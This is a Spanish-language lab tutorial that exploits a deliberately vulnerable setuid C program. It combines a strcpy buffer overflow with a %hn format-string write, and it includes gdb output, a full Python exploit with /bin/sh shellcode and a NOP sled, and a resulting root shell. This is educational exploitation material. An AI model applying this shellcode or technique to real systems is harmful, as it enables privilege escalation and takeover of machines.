ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES
Análisis del programa vulnerable FS1
Código Fuente
int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}¿Qué hace el programa?
El programa vulnerable copia en buf el primer parámetro ingresado por el usuario. Imprime por salida estándar el contenido de buf y guarda en plen la cantidad de bytes impresos. Si la variable zero se mantiene intacta el loop while(zero) no se ejecuta y el proceso finaliza.
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o fs1 fs1.c
user@abos:~$ sudo chown root ./fs1; sudo chmod u+s ./fs1 ; root owner & setuid
user@abos:~$ ./fs1 AAAAA
AAAAA
user@abos:~$ ./fs1 BBBBBBB
BBBBBBB¿Cuál es la dificultad principal?
Si se sigue la estrategia de sobreescribir la dirección de retorno de
main, de manera colateral se pisa el valor dezeroprovocando un loop infinito. Frente a esto el proceso nunca retorna y la reescritura de la dirección de retorno en la pila es inútil.

Es necesario pensar en un ataque combinado de desbordamiento de búfer y el aprovechamiento de una vulnerabilidad del tipo format string.
Layout de la pila antes del exploit:
[ebp-264] = buf
[ebp-8] = plen
[ebp-4] = zero
[ebp] = ebp anterior
[ebp+4] = dirección de retorno
Ataque Format String:
La reescritura de la dirección de retorno de main a través de un desbodamiento de búfer -en la función strcpy- obliga a sobreescribir la variable zero (por su ubicación en la pila entre buf y la dirección de retorno). Para que el ataque funcione es necesario que main retorne y por ende que zero continúe siendo 0.

Consideraciones: no es plausible como solución sobreescribir
zerocon el valor numérico de0000. Como el desbordamiento de bufer se logra a travésstrcpy, una función que manipula strings, si optamos por escribir enzeroel string “0000” estaríamos almacenando enzeroel código ascii:0x30303030. Y por ende no lograríamos el objetivo de que el programa retorne.
Para solucionar este escollo es necesario combinar el ataque de desbordamiento de búfer con un ataque del tipo format string.
Este ataque tomará dos pasos. Primero, aprovechar strcpy(buf,argc[1]) para inyectar el shellcode y sobreescribir la dirección de retorno de main() almacenada en la pila para que apunte a él. Y en un segundo paso, aprovechamos printf("%s%hn\n",buf,plen) para volver a zero = 0 de manera indirecta a través de plen, gracias a una vulnerabilidad del tipo format string. Paso a paso la estrategia será la siguiente:
Primera parte: aprovechando el código strcpy(buf,argc[1]):
Inyectamos el shellcode en
buf.Con un desbordamiento sobreescribimos
plenpara que apunte azero.Y sobreescribimos la dirección de retorno de
main()para que apunte abuf.
Segunda parte: aprovechando printf("%s%hn\n",buf,plen):
Esta línea de código nos va a permitir escribir un valor arbitrario de no más de dos bytes en
plen. Como se indicó previamente el parámetro%nescribe la cantidad de bytes impresos en la dirección especificada. Cuando se lo utiliza como%hncomo en este caso (con unahde half como formato adicional de longitud) va a escribir la cantidad de caracteres impresos pero en un short de 2 bytes.Gracias al desbordamiento de búfer previo,
plenapunta azero. El primer%sdel format string va a imprimir el string enbufhasta llegar a un caracter nulo, si logramos que la extensión de ese string sea de 10000 en hexa -como%hnescribe sólo dos bytes- logramos escribir0000enplen(quedando descartado el 1 inicial de (1)0000). Entonces comoplenapunta azerosi manipulamos adecuadamente la extensión debuflogramos el objetivo de quezero = 0indirectamente a través deplen. Con ello evitamos el loop infinito delwhile(zero)y logramos quemainretorne al código malicioso inyectado en el primer paso.

Para lograrlo llevamos a cabo los siguientes pasos.
Identificamos la dirección de
bufengdbConsideraciones: como el argumento que le vamos a pasar a
strcpyse almacena en la pila, su longitud afecta el cálculo de la dirección debuf. En este caso sabemos que la longitud total del argumento (es decir la cantidad de caracteres que va a imprimirprintf) debe ser de0x(1)0000que en decimal es65536. Por eso para conocer la dirección que tendrábufdebugeamos el programa con un argumento cualquiera pero de esa longitud.Armamos un archivo en Python para ingresar el input:
exploit.py#! /usr/bin/env python import sys exploit = "A" * 65536 # 0x1000 == 65536 sys.stdout.write(exploit)Y ejecutamos el programa vulnerable con ese argumento para conocer la dirección de
buf:$ ../r.sh gdb ./fs1 GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 (gdb) break main (gdb) r "$(./exploit.py)" (gdb) break 6 (gdb) c Continuing. Breakpoint 2, main (argv=3, argc=0xbffff814) at fs1.c:6 6 strcpy(buf,argc[1]); (gdb) x/wx buf 0xbffef680: 0x00000000La dirección de
bufes entonces0xbffef680.Planificamos el argumento de entrada
Inyectamos el shellcode en
buf.Hacemos que
plenapunte azero.Escribimos basura en
zero(porque vamos a pisar su valor).Incluimos una dirección válida cualquiera en
ebp.Sobreescribimos la dirección de retorno para que apunte al shellcode.
Extendemos longitud del input para imprimir un total de (1)0000 bytes, cantidad almacenada en
plen(que apuntará azero).

Con eso en mente editamos el archivo en Python con el argumento definitivo:
exploit.py#! /usr/bin/env python import sys from struct import pack #pwn a shell shellcode = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08" shellcode += "\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2" shellcode += "\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8" shellcode += "\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += "\x41\x42\x42\x42\x42\x43\x43\x43\x43" buf_size = 256 buf_addr = 0xbffef680 zero_addr = buf_addr + buf_size + 4 + 2 #addr zero (4 bytes: int plen; 2 bytes: short int zero) exploit = "\x90" * 80 #nop sled exploit += shellcode #shellcode exploit += "\x42" * (256-80-len(shellcode)) #fill buf #total: 256 bytes exploit += pack("<I", zero_addr) #plen -> &zero exploit += "AAAA" #basura en zero exploit += pack("<I", buf_addr) #basura -addr existente- en ebp exploit += pack("<I", buf_addr) #ret addr -> &shellcode #total: 16 bytes exploit += "B" * (65536-256-16) #%hn contabiliza 0x10000 o 65536 bytes (*plen = 0000) sys.stdout.write(exploit)Ejecutamos el exploit
user@abos:~$ ../r.sh ./fs1 "$(./exploit.py)" BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB # whoami root # id uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo) #
Layout de la pila después del exploit:
Gráficamente logramos el siguiente resultado:

Última actualización
¿Te fue útil?